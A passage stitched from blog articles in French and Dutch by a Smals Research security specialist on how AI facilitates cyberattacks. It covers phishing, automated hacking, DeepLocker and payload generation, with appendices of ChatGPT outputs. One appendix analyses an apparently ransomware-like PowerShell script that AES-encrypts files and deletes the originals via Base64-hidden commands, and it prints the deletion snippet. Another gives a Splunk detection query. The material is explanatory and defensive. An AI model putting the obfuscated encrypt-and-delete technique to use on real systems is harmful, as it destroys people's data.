   • Déchiffrement de chaînes codées en Base64 pour obtenir des commandes PowerShell qui sont exécutées dynamiquement pour :
     • Lire le contenu d’un fichier spécifié.
     • Chiffrer le contenu du fichier avec AES en utilisant la clé générée précédemment.
     • Concaténer le vecteur d’initialisation (IV) avec le contenu chiffré.
     • Écrire les données chiffrées dans un nouveau fichier avec l’extension .xxx.
     • Mettre à jour le timestamp du nouveau fichier pour qu’il corresponde à celui de l’original.
     • Supprimer le fichier original.

3. Fin de traitement :
   • Libération des ressources utilisées par les objets de cryptographie.
4. Exécution :
   • Le script exécute une commande pour lister tous les fichiers dans un chemin spécifié de manière récursive.
   • Pour chaque fichier trouvé, il appelle la fonction Compute_SHA256 avec un salt fixe (“salty”) et le chemin du fichier.

Objectifs principaux du script

• Chiffrer des fichiers : Le contenu des fichiers est chiffré avec AES, utilisant une clé dérivée d’un salt.
• Suppression sécurisée : Après le chiffrement, les fichiers originaux sont supprimés, ce qui pourrait être utilisé pour une sorte de nettoyage de données.
• Automatisation de processus : L’exécution des commandes est effectuée de manière dynamique, probablement pour masquer les actions effectuées (en utilisant le décodage Base64 pour cacher les commandes réelles).

Points d’attention

• Sécurité : Le script effectue des actions dynamiques (via Invoke-Expression), ce qui peut être risqué si les entrées ne sont pas correctement validées ou si le script est utilisé dans un environnement non sécurisé.

Modification de données : Il supprime les fichiers originaux après le chiffrement, ce qui peut entraîner une perte de données si le processus n’est pas contrôlé.

Question complémentaire

Où constates-tu que les fichiers originaux sont supprimés?

Réponse de ChatGPT

Les fichiers originaux sont supprimés à la fin de la section de traitement (Process) de la fonction Compute_SHA256. Cela est réalisé grâce à ces étapes spécifiques dans le script :

1. La variable $f est assignée à $object2, qui contient les informations sur le fichier original.
2. Une chaîne de commande est construite pour exécuter la commande Remove-Item, qui est utilisée pour supprimer des fichiers. La commande est constituée en concaténant la chaîne “Remove-Item -Path “ avec le chemin complet du fichier contenu dans $f.
3. La commande complète est exécutée avec Invoke-Expression, effectuant la suppression du fichier original spécifié par $f.

Voici la portion pertinente du script où cela se produit :

$f = $object2
$dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'"
Invoke-Expression $dynCmd

La chaîne codée en Base64 “UmVtb3ZlLUl0ZW0gLVBhdGgg” est décodée pour donner “Remove-Item -Path “, formant ainsi la commande complète pour supprimer le fichier.

Annexe 2 – Génération de script d’analyse

Example de génération d’un script d’analyse très simple d’un journal d’événement dans le langage SPL de Splunk.

Demande faite à ChatGPT

Écris un script Splunk qui filtre les entrées dont l’adresse source IP n’est pas réservée et n’est pas en Belgique et dont la destination est une IP de classe A commençant par 10.

Réponse de ChatGPT

Pour créer un script Splunk qui filtre les entrées de journalisation en fonction de l’adresse IP source (qui n’est ni réservée ni en Belgique) et de l’adresse IP de destination (qui commence par 10), il faudrait d’abord disposer d’une liste des plages d’adresses IP attribuées à la Belgique. Cependant, Splunk en soi n’effectue pas de géolocalisation directe des adresses IP. Vous auriez besoin d’une table de correspondance IP-pays ou d’utiliser une fonctionnalité d’enrichissement des données qui mappe les adresses IP aux pays.

Pour les besoins de cet exemple, je vais supposer que vous avez accès à une telle table ou à une fonctionnalité dans Splunk. Je vais également supposer que les champs sont nommés src_ip pour l’adresse IP source et dest_ip pour l’adresse IP de destination.

Voici comment pourrait ressembler votre script Splunk :

index=ton_index | lookup ip_country_lookup src_ip OUTPUT country | search NOT [ search index=ton_index | lookup ip_country_lookup src_ip OUTPUT country | search country="BE" | fields src_ip ] | regex src_ip!="^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)" | regex dest_ip="^10\." | table src_ip, dest_ip, country, _raw

Explication du script :

1. index=ton_index : Remplace ton_index par l’index approprié qui contient tes données de logs.
2. lookup ip_country_lookup src_ip OUTPUT country : Effectue un lookup pour déterminer le pays de l’adresse IP source. Remplace ip_country_lookup par le nom réel de ta table de lookup ou de ton enrichissement de données qui mappe les adresses IP aux pays.
3. La sous-requête search NOT […] exclut toutes les adresses IP provenant de la Belgique. fields src_ip est utilisé pour retourner uniquement les adresses IP de la sous-requête.
4. regex src_ip!="^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)" : Exclut les adresses IP réservées.
5. regex dest_ip=”^10\.” : Filtre pour inclure uniquement les entrées dont l’adresse IP de destination commence par 10.
6. table src_ip, dest_ip, country, _raw : Affiche les adresses IP source et destination, le pays de l’adresse source, et la ligne brute du journal.

Ce script nécessite que tu aies une lookup table configurée correctement pour la correspondance des adresses IP aux pays, ce qui n’est pas automatiquement disponible dans Splunk. Il te faudra configurer ou obtenir ces données par toi-même ou utiliser une application Splunk tierce qui offre cette capacité.

Notes

¹   https://cordis.europa.eu/project/id/700692

²   Une analyse systématique des publications sur l’utilisation de l’IA pour l’OSINT montre que la cybersécurité représente près de la moitié des publications considérées [7].

³   Les auteurs indiquent un rappel de 90%. En général, le rappel est défini par le nombre de documents pertinents retrouvés au regard du nombre de documents pertinents que possède la base de données.

⁴   Son modèle utilise des statistiques pour la détection des anomalies (modèle statistique simple, chaîne de Markov et séries temporelles).

⁵   https://www.cloudflare.com/fr-fr/learning/security/glossary/what-is-lateral-movement/

⁶   https://github.com/GreyDGL/PentestGPT

⁷   https://www.hackthebox.com/

⁸   Supposons que dans un journal d’un million d’événements, on estime qu’il y ait 100 événements correspondant réellement à une intrusion. Supposons également qu’un fabriquant nous vende un système de détection d’intrusion dont la sensibilité est de 99,9%, c’est-à-dire qu’il y a un taux de 0,1% de faux négatifs parmi les événements correspondant à de véritables intrusions, et dont la spécificité est également de 99,9% c’est-à-dire qu’il y a un taux de 0,1% de faux positifs parmi les événements ne correspondant pas à des intrusions. Si le logiciel du fabriquant signale une alerte, quelle est alors la probabilité que celle-ci corresponde effectivement à une intrusion ?

Instinctivement, beaucoup diraient « 99,9%. » Pourtant, si l’on dénote I la variable aléatoire correspondant à une intrusion, et A, celle relative à une alerte, il est possible de réécrire les hypothèses ci-dessus de la manière suivante : si P(I)=100/1.000.000, P(A│I)=0,999, et P(¬A│¬I)=0,999, alors quelle est la valeur de P(I|A) ? Le théorème de Bayes, nous donne : P(I│A)=P(I)⋅P(A|I)/P(A) avec P(A)=P(I)⋅P(A│I)+P(¬I)⋅P(A|¬I) et P(A│¬I)=1−P(¬A│¬I)=0,001. Ce qui conduit à 9,08% de probabilité que l’alerte donnée soit effectivement une intrusion et non 99,9% !

⁹ Une méthode non-paramétrique d’estimation de la densité de probabilité d’une variable aléatoire

¹⁰ https://www.paloaltonetworks.com/blog/security-operations/using-chatgpt-in-cortex-xsoar/

¹¹ https://falconllm.tii.ae/

_________________________

Ce post est une contribution individuelle de Fabien A. P. Petitcolas, spécialisé en sécurité informatique chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.

La plupart des publications traitant « d’intelligence » artificielle (IA) et s’intéressant à la sécurité et aux attaques, se concentrent sur l’étude des attaques touchant les algorithmes d’apprentissage automatique (voir p. ex. [1]) et les défenses contre de telles attaques. Par exemple, les attaques malveillantes traditionnelles sur les systèmes d’IA se produisent lorsqu’un adversaire manipule les données d’entrée pour tromper les algorithmes d’apprentissage automatique, entraînant ainsi une mauvaise classification¹.

Néanmoins, un nombre significatif d’articles étudient aussi l’IA en tant qu’arme possible contre les systèmes d’information – permettant notamment des attaques potentiellement plus rapides, à plus grande échelle et d’une plus large portée – et en tant qu’outil permettant d’améliorer des vecteurs d’attaque existants.

Dans un article précédent, nous avons brièvement expliqué ce qui se cache derrière le terme « d’intelligence artificielle » en décrivant quelques techniques de base utilisées en cybersécurité. Dans cet article, nous traiterons de l’utilisation de l’IA pour faciliter les attaques contre des systèmes informatiques. En particulier, nous détaillerons comment l’IA pourrait modifier ou modifie déjà plusieurs vecteurs d’attaques.

Prévisions pessimistes

Dès 2018, Brundage et al. [2] ont fait remarquer que l’utilisation croissante des capacités de l’IA impliquerait trois changements dans le paysage des menaces :

• Une expansion des menaces existantes: l’IA pourrait permettre de réduire le coût des attaques en réduisant la main-d’œuvre nécessaire mais aussi d’atteindre un plus large éventail de cibles potentielles.
• Une introduction de nouvelles menaces: les systèmes d’IA pourraient effectuer des tâches habituellement irréalisables pour un humain.
• Un changement du caractère typique des menaces: les attaques permises par l’utilisation de l’IA pourraient devenir plus efficaces, plus finement ciblées et plus difficiles à attribuer.

Ces prévisions sont corroborées par un rapport récent du centre national de cybersécurité britannique (NCSC) qui prévoit une augmentation du nombre et de l’efficacité des menaces de cybersécurité dues à l’IA [3].

Par exemple, l’accès facile à des modèles massifs de langage pourrait permettre à des adversaires de contourner leurs propres limites en ressources, compétences et/ou connaissances. Par ailleurs, une utilisation incontrôlée d’applications d’IA dans des projets internes à une organisation ou par des employés peu avertis, pourrait créer de nouvelles surfaces d’attaques et occasionner des fuites de données personnelles, de propriété intellectuelle ou d’informations confidentielles.

Hameçonnage et ingénierie sociale

Dès 1966, avec ELIZA, l’un des premiers agents conversationnels, on découvrait que l’humain pouvait se faire tromper par la machine [4]. Le traitement du langage naturel est un cas d’utilisation de l’IA où le texte brut est la source de données à partir de laquelle les modèles sont extraits². Le traitement du langage a été utilisé avec succès pour de nombreuses applications. La détection de courriels non désirés en est un exemple tout comme l’inverse, le contournement des filtres de protection antispam (p. ex. [5]).

L’hameçonnage est particulièrement adapté à cette dernière approche, car des modèles de texte peuvent être utilisés pour identifier les sujets qui intéressent la cible et générer des phrases auxquelles la cible pourrait répondre. Par exemple, dans [6], les auteurs utilisent un modèle de Markov et un réseau de neurones récurrents afin de démontrer la possibilité d’automatiser la génération de messages utilisés dans un processus d’hameçonnage sur Twitter : l’outil apprend à prédire le mot suivant à partir du contexte précédent dans l’historique des publications de la cible. Chaque message est donc adapté à une cible particulière augmentant ainsi la précision de l’attaque.

Étant donnée la capacité des modèles massifs de langages à mieux « comprendre » le contexte, à mieux imiter le texte humain (parfois même avec moins d’erreurs [7]³), on constate que de tels outils sont déjà utilisés pour faciliter l’écriture, avec le ton adéquat, de courriels plausibles provenant de collègues, amis, familles ou site populaires de commerce en ligne, éventuellement en fonction d’informations glanées sur les réseaux sociaux [8] (voir « Annexe – Génération de courriels d’hameçonnage »). Pire, il est aujourd’hui possible, sans connaissances importantes en sécurité, d’utiliser ChatGPT pour générer non seulement des courriels d’hameçonnage mais aussi le site web correspondant [9]. Cela est d’autant plus inquiétant lorsque l’on sait que 94 % des logiciels malveillants détectés sont toujours envoyés par courriel [10].

Un autre exemple de l’utilisation de l’IA pour faciliter les attaques d’hameçonnage est DeepFish [11]. Il s’agit d’un logiciel qui produit de nouvelles adresses web synthétiques d’hameçonnage en apprenant des modèles à partir des adresses web les plus efficaces dans les attaques historiques⁴. Ces adresses peuvent ensuite être utilisées dans des courriels d’hameçonnage ou d’autres canaux comme par exemple des publicités trompeuses. Peu après le lancement de Bing Chat, Microsoft a, sans grande surprise, ajouté la possibilité d’introduire des publicités dans les conversations. Malheureusement, les publicités comportent un risque inhérent et pourraient amener des utilisateurs à la recherche de téléchargements de logiciels, à visiter des sites malveillants et à installer des logiciels malveillants directement à partir d’une conversation sur Bing Chat [12].

« Hacking » automatique

L’IA permet d’exécuter des attaques à la vitesse de la machine. Par exemple, Deephack [13] est un agent logiciel de quelques centaines de lignes de Python qui apprend à s’introduire dans des applications Web à l’aide d’un réseau neuronal, d’essais et d’erreurs. Il apprend à exploiter plusieurs types de vulnérabilités, ouvrant potentiellement la porte à une multitude de nouveaux systèmes de piratage.

DeepLocker⁵ va plus loin en dissimulant ses intentions malveillantes et en s’activant pour des cibles spécifiques. Afin de décider si la machine où il est exécuté, est une cible ou pas, DeepLocker utilise un réseau de neurones artificiels complexe⁶ à la place d’une simple liste de règles. Cela empêche les outils analysant statiquement et dynamiquement le logiciel de détecter la présence de code malveillant⁷. DeepLocker utilise également un autre réseau de neurones afin de générer une clé permettant de chiffrer ou déchiffrer la partie malveillante de son code afin de rendre celui-ci plus difficile à détecter.

Certaines procédures de « hacking » pourraient être simplifiées et accélérées grâce à l’utilisation de modèles génératifs. Des personnes malveillantes pourraient par exemple avoir recours à des outils comme PentestGPT⁸. Cet outil permet en effet, d’aider à gérer différentes tâches d’un processus de test de pénétration, comme l’utilisation d’outils spécifiques (notamment utilisant des commandes avec des options complexes souvent difficiles pour un humain) et la suggestion d’étapes à suivre [14]. Selon ses auteurs il permet même de donner une « intuition » sur ce qu’il convient de faire dans un scénario d’intrusion donné. Il manque cependant de recommandations efficaces pour pouvoir accomplir les tâches de manière indépendante et il n’est pas capable de maintenir une compréhension cohérente du scénario de test. Mais Fang et al. ont montré que des agents alimentés par des modèles massifs de langage tel que ChatGPT peuvent errer par eux-mêmes sur le Web et s’introduire dans des applications Web boguées sans être surveillés [15].

Enfin, des outils d’IA générative entrainés sur des bases de données de vulnérabilités suffisamment larges, pourraient également être utilisés pour automatiser l’analyse de code afin d’identifier des vulnérabilités exploitables, mais les coûts de création de tels modèles sont élevés.

Génération de charge utile et de code malveillant

Dans le contexte d’une cyberattaque, la charge utile est la composante de l’attaque qui cause le préjudice (p. ex. effacement de fichiers). Elle peut être contenue dans un virus ou un ver informatique, une pièce jointe ou encore une requête transférée à une base de données SQL. Selon Gupta et al. [16], un outil d’IA générative pourrait être utilisé pour générer des charges utiles, et dans certains cas, de telle façon qu’elles ne puissent pas être détectées par un pare-feu d’applications Web (« Web Application Firewall (WAF) »).

Un outil d’IA générative pourrait aussi être utilisé pour faciliter l’écriture de logiciels malveillants ou de rançongiciels : Guptal et al. [16] ont conduit différents tests avec ChatGPT en le convainquant notamment de fournir des exemples de code de différents logiciels malveillants tels que NotPetya⁹, REvil¹⁰, Ryuk¹¹ ou WannaCry¹². Les résultats ne sont pas directement utilisables, mais fournissent une structure de haut niveau du code, plutôt évidente pour toute personne ayant déjà programmé, mais qui peut laisser imaginer des améliorations importantes dans les années à venir. Des tests similaires ont aussi été réalisés, avec des résultats similaires, pour des virus exploitant des vulnérabilités telles que Meltdown¹³, RowHammer¹⁴ et Spectre¹⁵.

Hutchins [17] émet cependant de sérieux doutes sur la possibilité de générer des logiciels malveillants grâce à l’IA et en particulier grâce à des outils comme ChatGPT qui sont loin d’être capable de créer des logiciels entièrement fonctionnels mais pourraient, au mieux, fournir de petites briques difficilement assemblables. Il fait également valoir que ce code généré par l’IA existe déjà sur Internet.

Attaques des systèmes physiques

Enfin, si l’on prend comme hypothèse que les systèmes physiques (p. ex. un système de contrôle du refroidissement) sont moins sécurisés que l’infrastructure informatique cible et sont relativement plus faciles à exploiter, alors on peut envisager d’utiliser un logiciel malveillant afin d’attaquer indirectement une infrastructure informatique par le biais du système physique, en déguisant les actions malveillantes en défaillances accidentelles (p. ex. une surchauffe simulée conduisant à un arrêt d’urgence bien réel). C’est ce que montrent Chung et al. [18]. Leur outil apprend automatiquement des stratégies d’attaque à partir des mesures collectées par le système physique.

Analyse des cyberattaques utilisant l’IA

Afin de permettre aux ingénieurs en sécurité d’étudier efficacement la classification des menaces dues à l’IA et leur impact et de mieux comprendre la stratégie des attaquants, Nektaria et al. [19] proposent un cadre d’analyse des cyberattaques tirant parti de l’IA. Il est basé sur le cadre existant et très répandu « Cyber Kill Chain » mis au point par Lockheed Martin et est formé de trois niveaux :

• Étapes de l’attaques et objectifs: ce premier niveau permet de décrire quand un attaquant peut atteindre ses objectifs malveillants en fonction du cycle de vie de la cyberattaque. Il permet de représenter l’intention de l’attaquant et le type de technique d’IA utilisée comme outil pour mener les actions malveillantes, en fonction de chaque phase du cycle de vie de la cyberattaque.
• Impact et classification de l’IA malveillante: ce deuxième niveau est une classification basée sur l’impact de l’utilisation malveillante des techniques d’IA, qui montre son impact potentiel en fonction du stade d’attaque appliqué.
• Classification des méthodes de défense : la défense contre les cyberattaques basées sur l’IA ne peut pas se faire avec une solution simple ou un seul outil. Il est nécessaire d’adopter une approche défensive approfondie tout au long du cycle de vie des cyberattaques afin de lutter contre « l’intelligence » des nouvelles méthodes.

Conclusion

À travers les exemples donnés précédemment, l’IA apparait principalement comme un nouvel outil de « productivité » pour des attaquants professionnels (ou pas) déjà bien motivés. La pire menace que l’IA pourrait faire peser sur la sécurité serait la découverte à grande échelle de classes d’attaques entièrement nouvelles. Cependant, rien ne prouve qu’une telle découverte soit plus probable que celle faite par des acteurs humains.

Néanmoins, de nombreux problèmes restent en suspens quant à la manière de prévenir et d’atténuer ces menaces avancées, mais une bonne analyse des menaces avec un cadre approprié est un bon point de départ. De plus, nous pensons qu’une manière efficace de lutter contre les adversaires tirant partie de l’IA sera également d’utiliser l’IA afin d’être compétitif en termes de portée, de vitesse et d’échelle. Comme nous le verrons dans un dernier article sur le sujet, l’IA pourrait en effet contribuer à l’automatisation de tâche de cyberdéfense, telles que l’évaluation de vulnérabilités, la détection d’intrusions, la réponse à des incidents et le traitement de renseignements sur les menaces.

Références

[1]        N. Papernot, P. McDaniel, S. Jha, M. Fredrikson, Z. B. Celik, et A. Swami, « The limitations of deep learning in adversarial settings ». arXiv, 23 novembre 2015. Consulté le: 27 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/1511.07528

[2]        M. Brundage et al., « The malicious use of artificial intelligence: forecasting, prevention and mitigation », févr. 2018.

[3]        « The near-term impact of AI on the cyber threat », National Cyber Security Centre, janv. 2024. Consulté le: 27 janvier 2024. [En ligne]. Disponible sur: https://www.ncsc.gov.uk/pdfs/report/impact-of-ai-on-cyber-threat.pdf

[4]        J. Weizenbaum, « ELIZA—a computer program for the study of natural language communication between man and machine », Commun. ACM, vol. 9, n^o 1, p. 36‑45, janv. 1966, doi: https://doi.org/10.1145/365153.365168.

[5]        S. Palka et D. McCoy, « Fuzzing e-mail filters with generative grammars and n-gram analysis », in WOOT’15: Proceedings of the 9th USENIX Conference on Offensive Technologies, août 2015.

[6]        J. Seymour et P. Tully, « Weaponizing data science for social engineering: Automated E2E spear phishing on Twitter », présenté à Black Hat USA, 2016, p. 1‑8.

[7]        M. Heikkilä, « How to spot AI-generated text », MIT Technology Review. Consulté le: 11 octobre 2023. [En ligne]. Disponible sur: https://www.technologyreview.com/2022/12/19/1065596/how-to-spot-ai-generated-text/

[8]        J. Chapman, « Phishing threat trends report – From pretexting to payloads, how have phishing attacks evolved in 2023? », egress, oct. 2023. Consulté le: 7 novembre 2023. [En ligne]. Disponible sur: https://www.egress.com/media/mq4kwitu/egress_phishing_threat_trends_report.pdf

[9]        S. S. Roy, K. V. Naragam, et S. Nilizadeh, « Generating phishing attacks using ChatGPT ». arXiv, 8 mai 2023. Consulté le: 17 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2305.05133

[10]      « Preparing for AI-enabled cyberattacks », MIT Technology Review, janv. 2021.

[11]      A. Correa Bahnsen, « DeepPhish: Simulating malicious AI », 6 décembre 2018.

[12]      J. Segura, « Malicious ad served inside Bing’s AI chatbot », Malwarebytes. Consulté le: 7 novembre 2023. [En ligne]. Disponible sur: https://www.malwarebytes.com/blog/threat-intelligence/2023/09/malicious-ad-served-inside-bing-ai-chatbot

[13]      D. Petro et B. Morris, « Weaponizing machine learning: Humanity was overrated anyway », présenté à DEF CON 25, 10 août 2017. [En ligne]. Disponible sur: https://www.youtube.com/watch?v=wbRx18VZlYA

[14]      G. Deng et al., « PentestGPT: An LLM-empowered automatic penetration testing tool ». arXiv, 13 août 2023. Consulté le: 8 novembre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2308.06782

[15]      R. Fang, R. Bindu, A. Gupta, Q. Zhan, et D. Kang, « LLM Agents can Autonomously Hack Websites ». arXiv, 6 février 2024. Consulté le: 19 février 2024. [En ligne]. Disponible sur: http://arxiv.org/abs/2402.06664

[16]      M. Gupta, C. Akiri, K. Aryal, E. Parker, et L. Praharaj, « From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy », IEEE Access, vol. 11, p. 80218‑80245, août 2023, doi: 10.1109/ACCESS.2023.3300381.

[17]      M. Hutchins, « A realistic look at implications of ChatGPT for cybercrime », MalwareTech. Consulté le: 6 février 2024. [En ligne]. Disponible sur: https://malwaretech.com/2023/02/a-realistic-look-at-chatgpt-cybercrime.html

[18]      K. Chung, Z. T. Kalbarczyk, et R. K. Iyer, « Availability attacks on computing systems through alteration of environmental control: smart malware approach », in Proceedings of the 10th ACM/IEEE International Conference on Cyber-Physical Systems, Montreal Quebec Canada: ACM, avr. 2019, p. 1‑12. doi: 10.1145/3302509.3311041.

[19]      N. Kaloudi et J. Li, « The AI-based cyber threat landscape: A survey », ACM Comput. Surv., vol. 53, n^o 1, p. 1‑34, févr. 2020, doi: https://dl.acm.org/doi/abs/10.1145/3372823.

Annexe – Génération de courriels d’hameçonnage

Voici quelques exemples de génération de courriels d’hameçonnage avec ChatGPT (généré avec la version 4.0 le 9 février 2024) :

Notes

¹   La base de connaissance ATLAS de MITRE (https://atlas.mitre.org/) recense un nombre important de vulnérabilités des systèmes basés sur l’IA. L’utilisation de l’IA augmente la surface d’attaque des systèmes existants.

²   Aujourd’hui de tels modèles sont capables de mémoriser l’intégralité de Wikipédia, qui est le résultat des travaux cumulés de nombreux bénévoles et experts dans leurs domaines respectifs, sur une myriade de sujets divers.

³   Qui n’a pas déjà reçu un courriel d’hameçonnage plein de fautes d’orthographe ou de grammaire, le rendant facilement identifiable ?

⁴   La charge la plus fréquemment utilisée pour les courriels d’hameçonnage sont les adresses web selon un rapport récent de la société egress [8].

⁵   https://www.blackhat.com/us-18/briefings/schedule/#deeplocker—concealing-targeted-attacks-with-ai-locksmithing-11549

⁶   Un exemple donné par les auteurs de DeepLocker est l’utilisation de la reconnaissance faciale de l’utilisateur pour cibler des personnes particulières avec l’attaque. Le choix d’exécuter du code malveillant pourrait aussi être lié au comportement de l’utilisateur, de l’environnement logiciel, etc.

⁷   D’une certaine façon l’exemple est similaire aux voitures du groupe Volkswagen qui changeaient de comportement lors des cycles d’homologation et dont le scandale a été révélé en 2015.

⁸ https://github.com/GreyDGL/PentestGPT

⁹   https://fr.wikipedia.org/wiki/Cyberattaque_NotPetya

¹⁰ https://fr.wikipedia.org/wiki/REvil

¹¹ https://fr.wikipedia.org/wiki/Ryuk_(logiciel)

¹² https://fr.wikipedia.org/wiki/WannaCry

¹³ https://fr.wikipedia.org/wiki/Meltdown_(vuln%C3%A9rabilit%C3%A9)

¹⁴ https://fr.wikipedia.org/wiki/Mart%C3%A8lement_de_m%C3%A9moire

¹⁵ https://fr.wikipedia.org/wiki/Spectre_(vuln%C3%A9rabilit%C3%A9)

_________________________
Ce post est une contribution individuelle de Fabien A. P. Petitcolas, spécialisé en sécurité informatique chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.

De meeste publicaties over artificiële ‘intelligentie’ (AI) die handelen over beveiliging en aanval richten zich op de studie van aanvallen op algoritmen voor machine learning (zie bv. [1]) en verdedigingen tegen dergelijke aanvallen. Traditionele kwaadaardige aanvallen op AI-systemen doen zich bijvoorbeeld voor wanneer een tegenpartij invoergegevens manipuleert om algoritmen voor machine learning te misleiden, wat resulteert in een verkeerde classificatie¹.

Desondanks wordt in een aanzienlijk aantal artikelen AI ook onderzocht als een mogelijk wapen tegen informatiesystemen – waardoor mogelijk snellere, grootschaligere en verdergaande aanvallen mogelijk zijn – en als een hulpmiddel om bestaande aanvalsvectoren te verbeteren.

In een vorig artikel hebben we kort uitgelegd wat er achter de term ‘artificiële intelligentie’ schuilgaat door enkele basistechnieken te beschrijven die worden gebruikt in cybersecurity. In dit artikel kijken we naar het gebruik van AI om aanvallen op computersystemen te vergemakkelijken. We beschrijven in het bijzonder hoe AI verschillende aanvalsvectoren kan wijzigen of al wijzigt.

Pessimistische voorspellingen

In 2018 merkten Brundage et al. [2] op dat het toenemende gebruik van AI drie veranderingen in het dreigingslandschap met zich mee zou brengen:

• Een uitbreiding van bestaande bedreigingen: AI zou de kosten van aanvallen kunnen verlagen door minder mankracht nodig te hebben, maar ook een breder scala aan potentiële doelwitten kunnen bereiken.
• Introductie van nieuwe bedreigingen: AI-systemen zouden taken kunnen uitvoeren die normaal gesproken onmogelijk zijn voor een mens.
• Een verandering in de typische aard van bedreigingen: aanvallen die mogelijk worden gemaakt door het gebruik van AI kunnen effectiever, gerichter en moeilijker toe te schrijven

Deze voorspellingen worden ondersteund door een recent rapport van het Britse National Cyber Security Centre (NCSC), dat een toename voorspelt in het aantal en de effectiviteit van AI-gebaseerde cybersecuritydreigingen [3].

Eenvoudige toegang tot LLM’s zou adversaries bijvoorbeeld in staat kunnen stellen om hun eigen beperkingen op het gebied van middelen, vaardigheden en/of kennis te omzeilen. Bovendien kan ongecontroleerd gebruik van AI-toepassingen in interne projecten of door minder alerte werknemers nieuwe aanvalsoppervlakken creëren en leiden tot het lekken van persoonlijke gegevens, intellectueel eigendom of vertrouwelijke informatie.

Phishing en social engineering

Al in 1966 werd met ELIZA, een van de eerste conversational agents, ontdekt dat mensen door machines kunnen worden misleid [4]. Natuurlijke taalverwerking is een AI-toepassing waarbij klaartekst de databron is waaruit modellen worden geëxtraheerd². Taalverwerking wordt met succes gebruikt voor vele toepassingen. Het detecteren van ongewenste mails is een voorbeeld, net als het omgekeerde, het omzeilen van spamfilters (bv. [5]).

Phishing is bijzonder geschikt voor deze laatste benadering, omdat tekstmodellen kunnen worden gebruikt om onderwerpen te identificeren die interessant zijn voor het doelwit en zinnen te genereren waarop het doelwit zou kunnen reageren. In [6], bijvoorbeeld, gebruiken de auteurs een Markovmodel en een recurrent neural network om aan te tonen dat het mogelijk is om automatisch berichten te genereren die gebruikt worden in een phishingprocedure op Twitter: de tool leert om het volgende woord te voorspellen op basis van de vorige context in de publicatiegeschiedenis van het doelwit. Elk bericht is dus afgestemd op een bepaald doelwit, waardoor de nauwkeurigheid van de aanval toeneemt.

Gezien het vermogen van LLM’s om context beter te ‘begrijpen’, en om menselijke tekst beter na te bootsen (soms zelfs met minder fouten [7]³), zien we dat dergelijke tools al worden gebruikt om het schrijven, met de juiste toon, van plausibele mails van collega’s, vrienden, familie of populaire e-commerce sites te vergemakkelijken, mogelijk op basis van informatie uit sociale media [8] (zie “Bijlage – Phishingmails genereren“). Erger nog: het is nu mogelijk om, zonder enige kennis op het gebied van security, ChatGPT te gebruiken om niet alleen phishingmails te genereren, maar ook de bijbehorende website [9]. Dit is des te verontrustender als je bedenkt dat 94% van de ontdekte kwaadaardige software nog steeds per mail wordt verzonden [10].

Een ander voorbeeld van het gebruik van AI om phishingaanvallen te vergemakkelijken is DeepFish [11]. Deze software produceert nieuwe synthetische phishing webadressen door modellen te leren van de meest effectieve webadressen in historische aanvallen⁴. Deze adressen kunnen vervolgens worden gebruikt in phishingmails of andere kanalen zoals bijvoorbeeld misleidende advertenties. Kort na de lancering van Bing Chat, voegde Microsoft de mogelijkheid toe om advertenties in conversaties te introduceren. Helaas houden advertenties een inherent risico in en kunnen ze gebruikers ertoe aanzetten om software te downloaden, schadelijke sites te bezoeken en malware te installeren, rechtstreeks vanuit een Bing Chatgesprek [12].

Automatisch hacken

AI maakt het mogelijk om aanvallen op machinesnelheid uit te voeren. Deephack [13] is bijvoorbeeld een softwareagent van een paar honderd regels Python die met behulp van een neuraal netwerk en trial-and-error leert in te breken in webtoepassingen. Het leert om verschillende soorten kwetsbaarheden te misbruiken, wat de deur kan openen naar een groot aantal nieuwe hacksystemen.

DeepLocker⁵ gaat verder door zijn kwaadaardige bedoelingen te verbergen en zichzelf te activeren voor specifieke doelwitten. Om te bepalen of de machine waarop de code van DeepLocker wordt uitgevoerd een doelwit is of niet, gebruikt DeepLocker een complex artificieel neuraal netwerk⁶ in plaats van een eenvoudige lijst met regels. Dit voorkomt dat tools die de software statisch en dynamisch analyseren de aanwezigheid van kwaadaardige code niet kunnen detecteren⁷. DeepLocker gebruikt ook een ander neuraal netwerk om een sleutel te genereren om het schadelijke deel van zijn code te encrypteren of decrypteren, waardoor het moeilijker te detecteren is.

Bepaalde hackprocedures zouden vereenvoudigd en versneld kunnen worden met behulp van generatieve modellen. Kwaadwillenden zouden bijvoorbeeld tools zoals PentestGPT⁸ kunnen gebruiken. Deze tool kan helpen bij het beheren van verschillende taken in een penetratietestproces, zoals het gebruik van specifieke tools (in het bijzonder het gebruik van commando’s met complexe opties die vaak moeilijk zijn voor een mens) en het suggereren van de te volgen stappen [14]. Volgens de auteurs kan deze tool zelfs een “intuïtie” geven over wat te doen in een bepaald inbraakscenario. We missen hier echter effectieve aanbevelingen voor het zelfstandig uitvoeren van taken. De tool is bovendien niet in staat om een samenhangend begrip van het testscenario te behouden. Maar Fang et al. hebben aangetoond dat agents die worden gevoed door LLM’s zoals ChatGPT zelfstandig over het web kunnen zwerven en onbewaakt buggy webtoepassingen kunnen binnendringen [15].

Tot slot zouden generatieve AI-tools, getraind op voldoende grote kwetsbaarhedendatabases, ook kunnen worden gebruikt om codeanalyse te automatiseren en zo uitbuitbare kwetsbaarheden te identificeren, maar de kosten voor het maken van dergelijke modellen zijn hoog.

Payload en kwaadaardige code genereren

Tijdens een cyberaanval is de payload het onderdeel van de aanval dat de schade veroorzaakt (bv. het verwijderen van bestanden). Deze kan aanwezig zijn in een virus of worm, een bijlage of een query die naar een SQL-database wordt gestuurd. Volgens Gupta et al. [16], kan een generatieve AI-tool worden gebruikt om payloads te genereren, in sommige gevallen op zulke manier dat ze niet kunnen worden gedetecteerd door een Web Application Firewall (WAF).

